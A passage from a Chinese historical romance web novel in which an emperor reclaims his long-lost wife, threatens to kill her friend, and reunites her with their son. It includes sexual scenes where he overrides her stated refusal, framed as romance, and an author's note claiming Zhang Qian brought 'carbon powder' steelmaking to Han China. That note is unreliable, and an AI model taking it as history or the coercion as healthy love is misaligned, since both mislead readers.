一声突兀的、急促的巴掌声,在裴瓒的脸上响起。 裴瓒被那一记耳光砸到偏头,嘴角溢出一点鲜血。 待他怔忪时,林蓉方才挤身而出,得以喘息。 林蓉抬头的一瞬间,竟看到了客舍忽然多出的一群人。 有西魏亲卫、蒙提国王、龟兹国骑兵…… 众人来得不巧,恰好看到高贵的西魏君主被怀中女子猛摔一记耳光的画面。 他们各个瞠目结舌,连呼吸都刻意放慢,生怕看到了裴瓒的丑态,会被他杀人灭口。 不等林蓉说些什么,裴瓒已然听到了动静,他将林蓉重新摁回怀里,背对众人,冷声暴呵:“滚出去!” “是是!这就滚、这就滚!”西魏官员、蒙提国王急忙做了个“撤退”的手势,战战兢兢领人退出客舍。 室内静谧,只剩下林蓉和裴瓒二人。 林蓉心中惶恐不安,望着自己拍疼的手心,久久无言。 她让裴瓒在众人面前丢了大脸,她会不会被裴瓒提刀斩杀? 毕竟在林蓉的印象里,裴瓒没被人激怒的时候,尚且算一个好人,一旦他发怒,定要见血见肉的。 谁知五年过去,这个男人的脾气有没有变好一些…… 裴瓒的疯劲儿在妻子的一记耳光里,渐熄了下来。 他忍着脸上细微的痛感,又在垂眼间看到林蓉腕上缠着的几圈菩提佛珠。 木珠泛着乌沉的光泽,是他从前赠予林蓉护胎的那一串。 她还留着他的赠物。 裴瓒所有的燥意与郁气,都在看到念珠的瞬间烟消云散。 殊不知林蓉手缠念珠,无非是西域小国崇佛,即便她平日并不念经吃斋,也会做出一副敬仰神明的模样,融入那些胡族百姓。 裴瓒仍揽着林蓉,他的臂力苍劲,令林蓉如一只囚笼鸟雀,无力挣脱他的桎梏。 裴瓒不顾嘴角染血,冷声问话:“林蓉,我找了你整整五年,你去哪儿了?” 林蓉心知肚明,今日没个结果,裴瓒定不会放过她。 林蓉掌心沁汗,她强抑战栗,耐心解释:“昔日我遇袭坠崖,被龟兹商队搭救,就此留在了西域……” 得知林蓉福大命大,并未受辱,裴瓒心中的酸胀痛涩总算消减了一些。 他低头,搂住林蓉,将她压进怀中,唯有与她皮肉相贴,骨血相连,方能消除一点裴瓒的悔意与后怕,浇熄他血脉中涌动的热意。 可林蓉实在不适应裴瓒缠人的拥抱,她几乎要透不过气了。 林蓉叹气,低低唤了一声:“陛下,你先松开我。” 这一声“陛下”,终于令裴瓒清醒过来。 林蓉知道他成了西魏的君主,她并非耳目闭塞,不通世事。 她明知裴瓒兵强马壮,定都凉州,有能力护她周全,可她还是在龟兹小国隐姓埋名,不愿回家。 甚至为了避开裴瓒,她不愿踏回魏国半步,甘愿龟缩西域小国,一辈子在外颠沛流离! 她是厌他的…… 在这一刻,裴瓒的心脏仿佛被林蓉徒手捏爆,指缝撕裂骨肉,鲜血淋漓。 裴瓒生平第一次体会到摧心剖肝的滋味,他恨自己的敏锐,恨自己竟心性不坚,被一个女子拿捏……然而不可否认的是,裴瓒得知林蓉存活,心中的欢喜难以抑制,他庆幸她还活在人世。 裴瓒不知该拿林蓉如何,他勉力维持平心静气,与她低声道:“玉奴不能没娘,我不能无妻,如今世道不太平,我断不会让你留在西域涉险……林蓉,我不怪你舍下我们父子五年,只要你跟我回去。” “不行!”林蓉几乎是斩钉截铁地拒绝。 她刚说完,感受到裴瓒掠来的冷厉视线,又有点后怕。 可林蓉如今的生活很安逸自由,她不想离开西域,亦不想再次被裴瓒困进高墙之中,受那些教条礼制约束。 诚然林蓉思念裴嘉树,她也很想见一见儿子。 但林蓉未必只有回宫的一条路可以走……兴许她也可以留在宫外,三不五时见一见玉奴,尽一个母亲的职责。 裴瓒是一国之君,只要裴瓒准允,没什么不可能的事。 可裴瓒却因林蓉不假思索的抗拒,怒火翻涌,他实在想不通林蓉为何如此。 唯一的可能……便是她另有牵挂。 裴瓒的嗓音低沉而凶戾,他咄咄逼人地追问:“为何?难不成你在外五年又嫁了人,已有子女,你无法割舍?!” 裴瓒忍住那些曾令他发笑的妒意,他亦像个凡夫俗子那般胡思乱想,左右猜忌。 有这个设想,裴瓒竟觉妒火攻心,又有了杀人的煞气。 “要么与他和离,要么我杀了他,让你成为寡妇……林蓉,跟我回家。”裴瓒薄唇紧抿,目光凉薄,透着狠劲儿。 裴瓒并非说笑,他用力扣住林蓉的腕骨,死也不肯放手。 林蓉忍住胆裂魂飞的畏惧,她既怕裴瓒不分青红皂白,对她的亲朋好友下手,又觉得眼前五内俱崩几欲碎裂的裴瓒有几分难言的可怜。 没等她说些什么好听的话,安抚眼前暴怒的男人,客舍的门忽然被一众人马踹裂。 竟是闻讯赶来的杨峰等人! 有林蓉相识的店家听到她的呼救,赶忙去请杨峰等人前来搭救。 可好巧不巧,竟让这两个男人撞上了面! 在看到杨峰的霎那,裴瓒的墨瞳骤缩,竟觉喉头涌起一口腥甜。 他冷嗤一声,语气怨毒:“林蓉,你与杨峰搅在一起?你脱险后也不肯回西魏,你丢下我与玉奴五年,竟是为了与他私奔么?!” 此刻,莫说裴瓒了,便是林蓉也大惊失色。 她想起玉门村的一切,想到杨峰无助的痛呼,想到那些长剑刺出的骨血……她看着裴瓒纤长指骨扣上了腰间别着的杀人长剑,忙拥住他的窄腰,将男人紧紧抱住。 “大少爷!你误会了!我与杨大哥真的清清白白!” 天光漏入昏暗的客舍,杨峰看到地上那一颗血迹干涸的北戎男人的头颅,心中猜出一二。 他叹一口气,撩袍跪下:“草民杨峰见过陛下,草民与林姑娘确实只有兄妹之谊,您若实在有气……打杀我吧,切莫欺辱林姑娘。” 林蓉看着杨峰坦然下跪的模样,心中愧疚翻涌,鼻尖酸涩,她又拖累了朋友…… 哪知林蓉泫然欲泣的模样,更是令裴瓒怒意炽烈,肺腑如火在烧,焚灼不休。 林蓉分明是担忧记挂杨峰! 她为一个外男牵肠挂肚,生怕裴瓒提刀杀人。 若裴瓒真的下手斩杀杨峰,林蓉恐怕会厌他至死! 再听杨峰殷切的那一句“欺辱林蓉”,裴瓒更是恨得目眦欲裂,他与妻子久别重逢,裴瓒失而复得,疼爱林蓉还来不及,又怎会打杀她?! 裴瓒心知,杨峰以退为进,分明是想博得林蓉的同情,惹她垂怜,可恨妻子愚钝,竟被这样满腹心机的男人哄骗…… 裴瓒强忍住那些涌上心头的酸意,即便他想将杨峰碎尸万段,亦只能艰难按捺,他素来多谋善断,他不会斩断自己的退路……他会和林蓉有个结果,他不能让林蓉生厌,再次离他而去。 裴瓒不愿再失去林蓉了。 裴瓒缄默无言的模样,令林蓉心生不安。 但林蓉知道,在眼下这一乱局,唯有她能镇住裴瓒的杀心。 林蓉抬手,小心翼翼抚上裴瓒带有指痕的侧脸,她柔情蜜意地问:“大少爷,疼吗?” 林蓉仰头,一双杏眸水光潋滟,倒映的身影,唯有裴瓒一人。 裴瓒按在剑柄的长指缓慢松开,他垂眸细思片刻,横抱起林蓉,示威似的将她抱上了墨羽的马背。 “我带你去见玉奴。” 裴瓒一手揽住林蓉不盈一握的软腰,另一手挽过缰绳,宣誓主权一般,紧盯着杨峰。 林蓉知道,此时拒绝裴瓒才是不智之举。 她既要保下杨峰等人的性命,还是不该忤逆裴瓒,况且她离开裴嘉树五年,确实也想见一见儿子。 思来想去,林蓉还是对杨峰高声道了句:“杨大哥,我出门几天,劳你帮我照看一下芝麻和大黄。” 顿了顿,她又试探着说了一句:“但我见完玉奴……还会回来龟兹国。” 闻言,裴瓒虽脸色阴沉,缄默无言,但他到底没有反驳此言。 只要林蓉跟他回去,只要林蓉愿意亲近他们父子。 其他的事,裴瓒愿意让步一些。 作者有话说: 一个丢失老婆五年的男人,是一定会发疯的…… 裴瓒:活了三十年,第一次见到这般绿茶的男小三,可恨妻子愚钝,竟被他哄得团团转。 以及一个资料,我以为不用解释,但是也解释一下,以前西域的炼铁精钢技术还是很强的。 以下资料来自搜索[抱抱] 张骞出使西域是西汉武帝时期一个重大历史事件,对汉朝的影响极为巨大。张骞出使西域的目的,是奉汉武帝之命,联合大月氏抗击匈奴。 张骞回来后,从西域带回一包东西,这包东西可起作用了,有了它,西汉立刻称霸了,造出的刀天下无敌,把匈奴彻底击溃。 张骞从西域带回一包什么东西呢?其实就是一种黑色粉末,如今非常普通的东西——碳粉。 这东西很好汉朝可不缺,但却不知道如何利用。张骞从西域带回碳粉的同时,还带回了炼制“精钢”的技术。在张骞出使西域之前,汉朝所炼钢材质量不是很好,打造出的兵器一般,特别是刀剑,长久拼杀易断易崩。张骞从西域带回一包碳粉后,西汉开始炼制精钢。 精钢是古代一种优良的钢材,在古诗中有所描述。唐·陆龟蒙《再酬袭美先辈见和读之作》:“精钢不足利,騕褭何劳追。”宋·文莹《玉壶清话》卷八:“美璞未成终是宝,精钢宁折不为钩。”精钢的特点是永不褪色,不变形,韧性好,硬度高,打造出的刀剑锋利无比。 其实,炼制精钢也很简单,就是在普通钢材中加入适量的碳粉,也就是现在所说的加碳钢,全加碳比例要合适,加得太多钢脆,加得太少钢软。(诸如此类 第59章 林蓉温声细语询问裴瓒脸疼不疼, 并非真的心疼男人,而是哄人的缓兵之计。 她无非试一试,却不料裴瓒真因她的一点柔情, 逐渐压制住了汹涌的邪心。 林蓉心知,裴瓒亲临龟兹国, 定是谈拢了两国联军御敌一事, 既龟兹国已纳入西魏版图, 能得魏军驰援, 往后定会太平无事。 林蓉不会傻到再往西域外逃窜,如若落到凶残的戎狄手中,她只会生不如死。 林蓉想的, 不过是留在安逸的塞外小国,过上自己喜欢的游牧生活。 思及至此, 林蓉做好了决定, 无非和裴瓒虚与委蛇几日, 倘若之后她好言相劝, 并且许诺自己不再出逃, 也会安心留在归附西魏的西域小国, 想来裴瓒不会多加为难。 此举不但能稳住裴瓒, 还能让儿子玉奴时常来寻林蓉,令他们母子团聚, 实为一举两得的妙计。 林蓉安下心。 她疲乏一日,竟觉腰肢酸软, 来了一贯不稳的月事。 裴瓒此次前来龟兹国,除却想将龟兹纳为藩属国,还想让西魏匠人掌控龟兹国的冶铁锻器的技艺,以备精良军械, 用于日后征战御敌。 塞外戎狄的兵马强壮,裴瓒虽借助凉州风土地形培育战马,解决了军马的劣势之处,但军械武器上仍有改进的空间,自此裴瓒愿来一趟龟兹国,也好亲自验看享有盛名的龟兹国冶铁铸器之术。 裴瓒既已答应要帮龟兹国抵御外敌,自然会设下都护府、派来魏军,护住藩属国。 裴瓒要即刻回凉州调兵,婉拒了蒙提国王的宴席邀请,当夜便下达回城的军令,拔营返程。 夜里,蒙提国王亲自骑马送行。 两国骑兵手持烈焰灼灼的火把,明亮的火光被大漠风沙拉扯开,如同一面猩红的旗帜,照亮裴瓒那张不近人情的冷脸。 夜幕四合,裴瓒下颌的一点红痕尚未消散,在冲天火光下,显得极为醒目显眼。 蒙提国王几次想问林蓉的来历,但他还是把诸多疑问藏回了肚子。 待裴瓒率军离去,蒙提国王才敢颤巍巍询问身侧深谙大魏国情的译官:“那名女子……此前一直住在我们龟兹国吧?我给西魏皇帝送温柔体贴的美人,他不要,竟喜欢这样凶残的母老虎?” 译官想了想,道:“可能男人们的口味不同,有人就是有这等隐癖……越打他,还越高兴!” 蒙提国王心神恍惚,呆愣许久,只叹一口气道:“派兵护住那名女子的家宅……隐蔽一些,切莫让北戎人滋扰民居,旁的随意吧。” 凉州位处边境,距离西域龟兹小国不过千里。 裴瓒风雨兼程策马赶路,一日可行三四百里,不过三四天的工夫就能回到都城。 只这几日,裴瓒带着林蓉远行,他担心林蓉身体不适,特意放慢了赶路的速度。 林蓉此次跟着裴瓒回城,并未亏待自己,她已经习惯西域的生活,夜里和裴瓒同住邸店,还知道要花裴瓒的银钱,和店家多点一些平时舍不得吃的饭食。 如火坑焖羊、胡辣羊蹄、马奶酒…… 林蓉吃饱喝足,回房洗漱沐浴,明日还要坐篷布轺车继续赶路,今晚她想早点入睡。 怎料,客舍的灯台刚熄,门扉竟被人打开了。 林蓉透过朦胧的月光望去,方才记起……裴瓒命人收拾了卧具被褥,他要与林蓉同睡一间房。 林蓉看了一眼已然洗过身的男人。 裴瓒一如既往俊美无俦,乌发纤长黑润,披拢肩背,用干燥的帕子绞干,凛冽如松针的发尾带着一点湿濡。 明明塞外严寒,已是入冬的时节,可他却穿得单薄,仅罩了一件霜白的长衫,走路间,衣摆飘逸,如莲池微漾。 没等林蓉慢吞吞腾挪出一个床位,裴瓒已然单膝跪榻,压向了娇小的林蓉。 男人冰冷的长指,轻摁向林蓉雪颈上的软肉。 玉砌的指腹碾过骨血,在林蓉圆润的肩头不着痕迹地游走。 裴瓒不过掠起一点细微的动作。 竟也能渡来一丝丝洇进玉肤的滚沸热意。 令林蓉难以抑制地蜷缩腰脊…… 试图躲避那种陌生的酥麻之感。 裴瓒却并未住手,反倒是俯身,轻吮上她丰腴柔软的耳珠。 小小的一粒肉,白净如玉。 衔在男人轮廓漂亮的薄唇里,被红润的舌抵压,时不时浮出一点润白。 裴瓒肆意舔弄林蓉的耳垂。 用了点力道,恶意地含咬,吞纳。 林蓉的耳廓被男人温暖的唇腔裹挟。 既湿又潮,让她无所适从。 可当裴瓒的唇齿挪动,微咬住林蓉系着的那一件芙蕖小衣的细带时。 林蓉又睁开那一双雾气迷蒙的杏眸,颤声制止了他:“别拉开……” 裴瓒抬头,一双妖冶美目,因妻子的拒绝,透出一丝阴冷。 他抚上林蓉颌骨尖尖的下巴,嗓音低哑含欲,问她:“我忍了五年……你为何没有意动?难不成,你有旁人纾解,你已餍足?是谁?杨峰么?” 裴瓒的目光寒凉清淡,若非林蓉深谙他秉性,还真当他眼下没有上涌的怒意。 眼见着裴瓒又要生出不可言说的恶劣杀心,林蓉只能无奈解释一句:“我来了癸水……真的。” 裴瓒闻言,心中戾气稍稍减弱。 这一次,他没有如从前那样可恶,动手验看林蓉的衣裙,反倒是拥着林蓉卷入厚被之中。 裴瓒炽热的躯膛贴近,紧覆上林蓉的肩背。 林蓉汗流浃背,挣扎着要躲。 偏偏裴瓒抱住了她的细腰,将她整个人笼进怀中。 林蓉怔忪许久。 直到裴瓒牵引她的手,教她掌控他的软肋。 裴瓒抬了下腰,嗓音低哑,轻声蛊惑。 “林蓉,别躲。” “你碰一碰……” 凉州,皇宫。 此次裴瓒出使西域,因气候恶劣,隆冬严寒,唯恐儿子受冻,并未带上裴嘉树。 五岁的裴嘉树便乖乖留在宫中,等着父亲回宫。 三天后,他远远看到裴瓒养的信鹰展翅飞来,在重山屋檐上盘旋。 裴嘉树喜不自胜,忙迈着小短腿,屁颠颠跑回寝殿,戴上皮制的捕鹰护腕,冲出大殿。 “酸枣,这里这里!” 裴嘉树一蹦三尺高,招呼头顶上那只名叫酸枣的鹰隼降落。 很快,黑鹰看到了小主子,趾高气昂地俯冲。 尖锐的鹰爪噌一下抓上小孩的臂膀,冷不丁将他整个人扑倒在地。 冯叔见状,吓得惊叫,忙带着几个小黄门飞奔过来。 “哎呦喂,我的太子殿下,您这是做什么呢!伤着怎么办?要是想取信,喊鹰奴来不就成了?” 冯叔是老管事,如今裴瓒称王称帝,他的身份也水涨船高,成了东宫的内府管事,平时唯裴嘉树马首是瞻。 裴瓒养孩子糙得很,半点不惯着,一只鹰隼有二三十斤重,竟也敢让儿子伸手去接。 偏裴嘉树从小皮实,不哭不闹,即便被鹰抓了,还能嘿笑出声,安慰身边哭天抢地的小太监:“没事儿,一点都不疼。你哭什么呀?别怕呀!我又不和父皇告状!” 抓一回鹰,裴嘉树今日刚换的衣裳滚了一圈泥,后背全黑了。 他满不在乎,抬手拍了拍,胖乎乎的小手拽住信纸,将纸卷从竹筒中抽了出来。 裴嘉树展信来看。 看了一遍,一双葡萄眼瞬间瞪大。 裴嘉树难以置信……数着字句,又看了一遍。 小孩痴痴傻傻的样子吓坏了冯叔。 冯叔忙道:“可不是摔傻了吧?殿下,你伤着哪儿了?!” 裴嘉树把信递给冯叔,激动地道:“我、我娘回来了!” 冯叔也傻了眼。 太子殿下的生母是林蓉啊。 五年前,蓉丫头遇袭,生死未卜,冯叔早以为她罹难,难不成真被皇帝寻回来了? 冯叔将信将疑,不敢说话。 倒是裴嘉树年幼,又深知父亲不会撒谎,激动得语无伦次。 他拉着冯叔回宫,喊小太监们帮忙,把簇新的冬衣一件件翻出来,摊到榻上。 今年的冬衣还未裁制,箱笼、衣橱里留下的都是往年没穿过的新衣。 裴嘉树洗干净手,连身上的脏衣裳都忘记换下来。 他急不可耐地摸了摸那件兔毛领子的大氅,拿着衣服比了比:“这件白的好看么?” 问完,又摸了摸另外一件绯色的长袍:“这个红的呢?阿娘会喜欢吗?” 裴嘉树从未见过母亲,对林蓉的印象,唯有父亲裴瓒留下的一幅幅美人丹青画像。 裴嘉树不知道林蓉的脾气,害怕自己不讨林蓉的喜欢,心中忐忑不安。 但冯叔说,当年母亲为了保护他,不惜冒险诱敌……阿娘一定会喜欢他的。 挑完了衣裳,裴嘉树又去书房一趟,搬来椅子,从匣子里取出好几张书画。 这些都是被裴瓒夸赞过的墨字,他想挑几幅最好的,拿出来给阿娘看。 还有那些四书五经,只要阿娘随意抽一段,他就能背给她听。 裴嘉树希望自己在阿娘眼中,是个聪明绝顶的孩子。 准备完这些书册,裴嘉树又取来钥匙,打开箱笼,选起见面礼。 几个红木箱子都被金银珠宝塞得满满的。 这些宝贝都是裴嘉树慢慢藏起来的私库。 有珊瑚摆件、玛瑙珠串、琉璃挂饰……珠光宝气,琳琅满目。 每回官宴上,那些东宫伴读的小伙伴,都会牵着母亲、家中嫡出、庶出姐妹一块儿入席。 他们的母亲会抱着孩子嘘寒问暖,殷切私语。 母子两人会一起看着殿外飞雪,亭台落花。 不过一阵风起,都能紧张到为孩子披上大氅御寒,或是喂食甜汤暖腹。 裴嘉树远远看着,心中羡慕,脸上却不动声色。 他不需要任何人的同情与可怜,他还有父亲,他的落寞不能让人瞧出分毫。 也曾有心怀叵测的高门贵女以为裴嘉树自小丧母,定然很缺长辈关爱。 她们故意走错宫殿,给裴嘉树添衣送食,言语关怀,拉近关系。 但裴嘉树深知宫闱森严,没有小黄门的指引,怎可能走到东宫? 裴嘉树明白这些人都是有所图谋,他不吃这套,对外从来板着一张小脸,亦不让外人轻易靠近自己。 裴嘉树将此事告诉父亲,任由裴瓒发落了那些居心不良的侍从。 他只有爹爹了,他要保护好家人。 裴嘉树不喜欢旁人接近,除了天生聪慧,不喜被人算计,还有另外一个重要的原因——那就是裴嘉树心里很害怕。 他害怕万一哪日母亲回家,看到他与外人亲近,会心中失落,与他更加疏离。 裴嘉树被裴瓒照顾得很好,他并不缺爱,他只是想念娘亲。 裴瓒说过,终有一日,他会再见到林蓉。 裴嘉树听话懂事,他一直在耐心等待。 所有的赏赐,他都会准备好三份,他一份,爹爹一份,母亲一份。 裴嘉树不想让娘亲缺少什么,别人阿娘有的头面珠花、绮罗绸缎,他的阿娘也要有。 所有裴嘉树赴宴游玩时看到的漂亮首饰,他也会央着裴瓒帮忙购置,藏进库房,一样样囤起来,等着有一日进献给母亲。 这样一来,林蓉一回家就能得到所有,她不会缺席裴嘉树的人生。 裴嘉树一直盼着某天能和林蓉重逢。 殿内光线昏暗,裴嘉树的背影瘦小,跪在那一口口大箱子前。 他蜷曲手指,紧紧抓着那一支蝴蝶银簪。 一颗颗晶莹剔透的泪水砸在他的衣裤上。 裴嘉树抬起软乎乎的手背,不住抹着眼睛,泥巴混到小脸上,染出一抹抹黑痕。 脏得很。 明明弄花了脸,裴嘉树却抿唇一笑。 他等到林蓉回家了。 终于有一天,裴嘉树可以正大光明想念母亲,不怕揭爹爹伤疤,也不怕旁人投来异样的怜悯目光。 “我也有阿娘了……” 裴嘉树再也不会羡慕其他孩子了。 第60章 林蓉对房事并不热衷, 离开裴瓒的这五年,更是没有考虑过儿女情长。 林蓉虽能感受到杨峰对自己的细微好感,但更多的还是他们二人相识多年, 独属于亲朋好友的那种默契。 也是杨峰知道,一旦他再进一步, 打破他与林蓉之间的相处平衡, 林蓉定会马不停蹄掉头逃跑。 林蓉不想也不会拖欠任何人情, 她一直知道, 她与裴瓒的情事犹如一把雪亮的铡刀,悬在颈上,摇摇欲坠, 随时都有伤人伤己的风险。 也是如此,她只能接受杨峰守礼的、不会有任何僭越的来往与交际, 如此才能在重新落入裴瓒魔爪时, 保证杨峰的周全。 而那把破肤剔骨的长刀, 于今日终于落下了。 一时间, 林蓉竟有种近乎病态的安心。 昏暗沉重的被褥里, 热意一阵阵漫上口鼻。 林蓉被裴瓒压进囚笼, 受困窒闷之地。 她不让他拆解的小衣, 他还是扯下了。 卷在伶仃雪腿的衣裙,也被男人宽厚有力的手掌, 急躁地撕开,孤零零挂在荷茎儿似的脚踝。 林蓉来了月事。 她想, 裴瓒虽没有如从前那样以手验证真伪。 但他的吻落在腿侧雪肉,炽热鼻息亦洒在屈起的膝盖…… 他一定能轻易嗅到那股浓烈的血气。 林蓉咬住下唇,感受裴瓒乌黑长发流泻小腿的痒意。 她能觉察出裴瓒温热的舌尖,在她膝盖后头游走。 他细细尝着每一寸无人触及的血肉, 下齿含咬,吮吸。 齿间用了点力道,摩得林蓉仰颈,喉头紧致发窒。 她有点吃不消裴瓒的孟浪,可他很懂分寸,并未让林蓉为难,他不过是把玩她小巧玲珑的玉足,又把她的双脚并拢,护在怀中。 裴瓒跪在榻上,朝前抬身,全无防备地送去了自己的软肋。 任林蓉裹挟着头角峥嵘的小少爷,与他紧密相连。 林蓉的脚背紧绷,被裴瓒扣在掌中,一左一右,好似求佛时为了谛听天音所用的阴阳掷筊,夹得严丝合缝。 裴瓒慢慢挪动妻子那一双柔若无骨的足踝。 他带有薄茧的指腹扫过林蓉绷出的踝骨筋络,不知想到什么,竟这般俯身,又咬上了林蓉的小腿。 他细细舔着,将那些流溢四溅的汗,也咽进肚子里。 林蓉感受到细微的痛意,她气得咬牙,不由质问:“少爷是属狗的么?” 裴瓒觉得畅快,紧握女孩足踝的掌腹动作不停。 裴瓒的嗓音倒有些哑,亦带着耐人寻味的笑意:“猜得倒准……” 林蓉误打误撞猜中了裴瓒野犬的属相,心中恍惚,可不就是落入豺狼之口么? 惊诧间,林蓉感到裴瓒忽然绷直了,紧接着她的脚底出汗。 裴瓒出来后,餍足地松开了她。 林蓉耳朵当即通红,好在被窝遮光,并未暴露林蓉的窘迫。 她无所适从,也是第一次如此行事。 无奈之下,她只能踢腿,把那些黏腻的东西,尽数蹭在裴瓒身上。 腻汗一点点抹到裴瓒的窄腰,濡湿男人肌理分明的蜜色腹肌。 林蓉精疲力尽,她翻过身,终是被裴瓒搂着入睡了。 60-66 第61章 林蓉也不知是月事太累, 还是裴瓒闹得太晚,她竟睡得很沉,一觉醒来, 窗外天光大亮,檐角驼铃清脆。 林蓉拉起早已松松垮垮的小衣系带, 无意间瞥见肩头残留的一串湿红吻痕, 心知裴瓒又趁她入睡, 拿她纾解。 好在林蓉的手啊脚啊腿芯, 都没有什么雪污秽物残留。 裴瓒玩够了,自会取来拧干水的帕子,帮她清理干净。 今日就能抵达凉州了, 林蓉在下楼时,忽然嗅到一股清苦的药味。 她诧异望去, 竟看到裴瓒长身玉立, 站在邸店大堂。 裴瓒刚喝完药, 信手将那一只陶土碗搁置桌案。 亲卫与将士在店外套马驭车, 邸店的客人早已被西魏官吏清空, 无人能窥伺裴瓒的言行。 林蓉想了一会儿, 还是悄声问:“大少爷, 你病了?” 林蓉待谁都亲善,她既对裴瓒不生怨气, 便不会与他剑拔弩张相处。因此林蓉知他喝药,随口一问, 也是情理之中的事。 但裴瓒久未被妻子关怀,听得林蓉忧心忡忡的问话,竟心头泛起一丝暖意。 “我身子骨康健,并未有不适之处。”裴瓒轻扯了下唇角, “这是前几日我命人从楼兰巫医那里讨来的避子汤药,专供男子服用……我会每月饮药,不令你有怀子之险。林蓉,如你心存意动,可随时寻我纾解。” 裴瓒也是近日才知,西域诸国的皇女喜爱豢养男宠面首,为了防止皇女与奴隶玩得过火,诞下血脉低贱的子嗣,族中便有巫医钻研此道,调配出能供男子避子的药方。 女子饮药伤身,裴瓒不想林蓉服用那些避子汤药。 而他养过玉奴,深知育儿的繁琐,既是继承家业,孩子一个便够,无需太多。 林蓉看了一眼神清骨秀的裴瓒,欲言又止。 裴瓒自以为善解人意,帮林蓉解决了所有后顾之忧。 殊不知林蓉心中忧虑,想的却是:……裴瓒不喝避子汤药都无所顾忌了,喝了药不知道夜里要闹几回,究竟还让不让人睡觉? 十一月,凉州。 今日下了新雪,天地一白。 临近年关,都城的世家官吏都在互相走动,访亲拜友。 甚至有朝臣给东宫递帖子,想宴请皇太子来家中赏梅赴宴。 但裴嘉树牢记父亲教诲,他不会轻易出宫,即便枯坐殿中很是无聊,他也没有贪玩外出。 裴嘉树早早听到了爹娘回宫的消息,一贯不会折腾宫人的皇太子,今日竟破天荒催促侍从。 “台阶上的雪扫一扫,让阿娘踩滑跌跤可不好!还有宫道上也挂上灯,入夜可黑了,切莫摔着人!” 裴嘉树小小的人儿,在殿内上蹿下跳,左打量右叮咛,玉雪可爱的模样,看得那些随侍的宫人们忍俊不禁。 好奇心重的仆妇甚至去问冯叔:“娘娘当真回宫了?” 冯叔笑道:“可不!提醒你们一句,仔细伺候,如有怠慢,陛下定会摘了尔等的脑袋!” 小黄门每一刻钟就来禀报一次,告诉裴嘉树,皇帝的马车都到了哪道宫门、哪条宫径…… 裴嘉树坐在黄澄澄的炭盆前烤火,手里的蜜桔都被烘得滚烫。 他放下剥了一半的甜桔,又用帕子擦干净指缝里的黄色汁水。 裴嘉树跽坐到一旁的西番莲毛毯,一遍遍检查那些精挑细选的字画,谨防错漏;或是翻动那些匣子里的珠花首饰,验看有没有破损。 没等他收好匣子,身后忽然传来一道熟稔的清冷嗓音。 “玉奴?”是裴瓒回来了。 裴嘉树身子一僵,有点忐忑地回头。 他怯怯打量,怕是梦境一场。 但好在,裴瓒不是独自回来的,他确实带回了一名女子。 裴嘉树仰头,望向那名女子。 女子乌鬓朱颜,桃腮杏脸,穿着虽不华贵,衣裙纹样却是鹅黄翠柳,极其鲜妍明媚。 特别那一双温柔美目,在看到裴嘉树的瞬间,眼尾弧度弯起,唇角带笑,分明是欢喜的模样。 母亲的容貌一点没变,和画像一模一样。 裴嘉树的鼻尖既酸又疼,他的眼眶发烫,视线模糊。 他本想口齿清晰地介绍自己,本想很识礼数地捧起字画给阿娘看,本想在初次见面的时候,给阿娘留下一个聪慧乖巧的好印象。 可真当裴嘉树见到了母亲,他却喉头哽咽,只能狼狈地挤出一句:“阿娘……” 林蓉看到小孩双手绞动,局促不安地站在殿中,不过抬头看她一眼,又低头抹泪,心中既酸又涩。 她急忙蹲身,用力抱住了软乎乎的儿子。 林蓉把小孩团进怀里,顺着小郎君的后脊抚摸,忍不住揉揉他的脑袋,捏捏他的肩膀,好好打量他的骨龄,看他是不是真被裴瓒养得白胖健康。 裴嘉树的惶恐不宁,在林蓉的一个温暖拥抱里,尽数消散。 他的胸口酸溜溜的,两条细细的胳膊伸出来,搂住娘亲的脖颈。 裴嘉树任性地低头,把小脸闷到林蓉肩窝,小声抽噎流泪。 裴嘉树没那么爱哭,今天也不知怎么了,竟在爹娘面前丢了大脸。 “阿娘想不想玉奴?阿娘这些年去哪儿了?阿娘是不是不喜欢玉奴,所以才丢下我?” 裴嘉树想从林蓉那里讨一个答案,他害怕母亲再一次消失。 林蓉闻言,却不知该说什么。 她只是把小孩抱得更紧,柔声安慰他:“阿娘很想玉奴的,阿娘最喜欢玉奴了。” 裴嘉树没给林蓉背书,没让林蓉看他书写的字画,都能得林蓉这一句夸奖,他的胸腔满涨,欢喜得不知该说什么好。 看到母子相拥落泪这一幕,裴瓒亦神情柔和,他揉了揉儿子的脑袋,“往后阿娘都会陪着玉奴,她不会走了。” 裴嘉树从林蓉的怀里探出头,高兴地追问:“真的吗?” 林蓉抿唇一笑,并未答话。 她只是伸手,用拇指掖去裴嘉树脸上泪花,慨叹一句:“我们玉奴越长大越俊俏了。” 谁能想到刚出生皱巴巴的一个小人儿,竟也如竹竿子一般抽条,节节生长,窜得老高,成了这样乖巧漂亮的小孩。 裴嘉树听到母亲的夸奖,羞赧一笑。 他自觉失态,不好意思再窝到林蓉怀里抹眼泪。 小孩挤出林蓉的怀抱,想了想,又紧紧握住她的手。 “阿娘,我带你去寝殿,我留了好多礼物给你,我还能背书给你听!” 裴嘉树好歹也是一国储君,初次见娘亲就哭了一场,实在有点丢人。 小孩要脸面,急于在林蓉面前表现,自然要拉林蓉去寝殿坐坐,顺道给她看他多年珍藏的宝贝。 林蓉舍下裴嘉树五年,近情心怯,本以为会受儿子的怨怼与诘问,也做好了耐心哄劝儿子的准备。 怎料小孩被裴瓒教得很好,虽然思念娘亲,但对“娘亲舍下自己”一事一点都不生气,哭了一场就与林蓉和好如初。 林蓉也想多陪陪裴嘉树,她看了裴瓒一眼,小声问:“我去陪陪玉奴?” 裴瓒颔首:“去吧,我命人布膳。” 说完,裴瓒又冷冷扫了儿子一眼,语气里带着长辈独有的威压:“你阿娘舟车劳顿几日,刚回都城,你懂事些,少闹她,至多玩两刻钟就来春华阁用膳。” 天气渐冷,裴瓒怕儿子受冻,便将膳食挪至烧有地龙的春华暖阁。 裴嘉树很听裴瓒的话,乖巧应是。 前往寝殿的路上,林蓉撞见了冯叔。 冯叔一见林蓉,眼睛都红了,他叹息一声:“娘娘这些年去哪儿了?一切可安好?” 林蓉笑答:“都好都好,没吃着苦。” 看着冯叔鬓边的白发,林蓉恍惚意识到,五年真的是很长的一段时间。 冯叔慈爱地看着这一双母子:“嗳,回来才是正经。一家三口安生度日,多好呀。” 不过闲谈了几句,林蓉又被裴嘉树牵走了。 到了寝殿,林蓉打量一番屋内的卧具桌椅。 家具全是名贵的紫檀木、红木,床帐里的被褥绵软,用的绸缎也是上乘。 再走近两步,林蓉看到墙上挂了一幅美人丹青,钤盖“玉衡”二字私章。 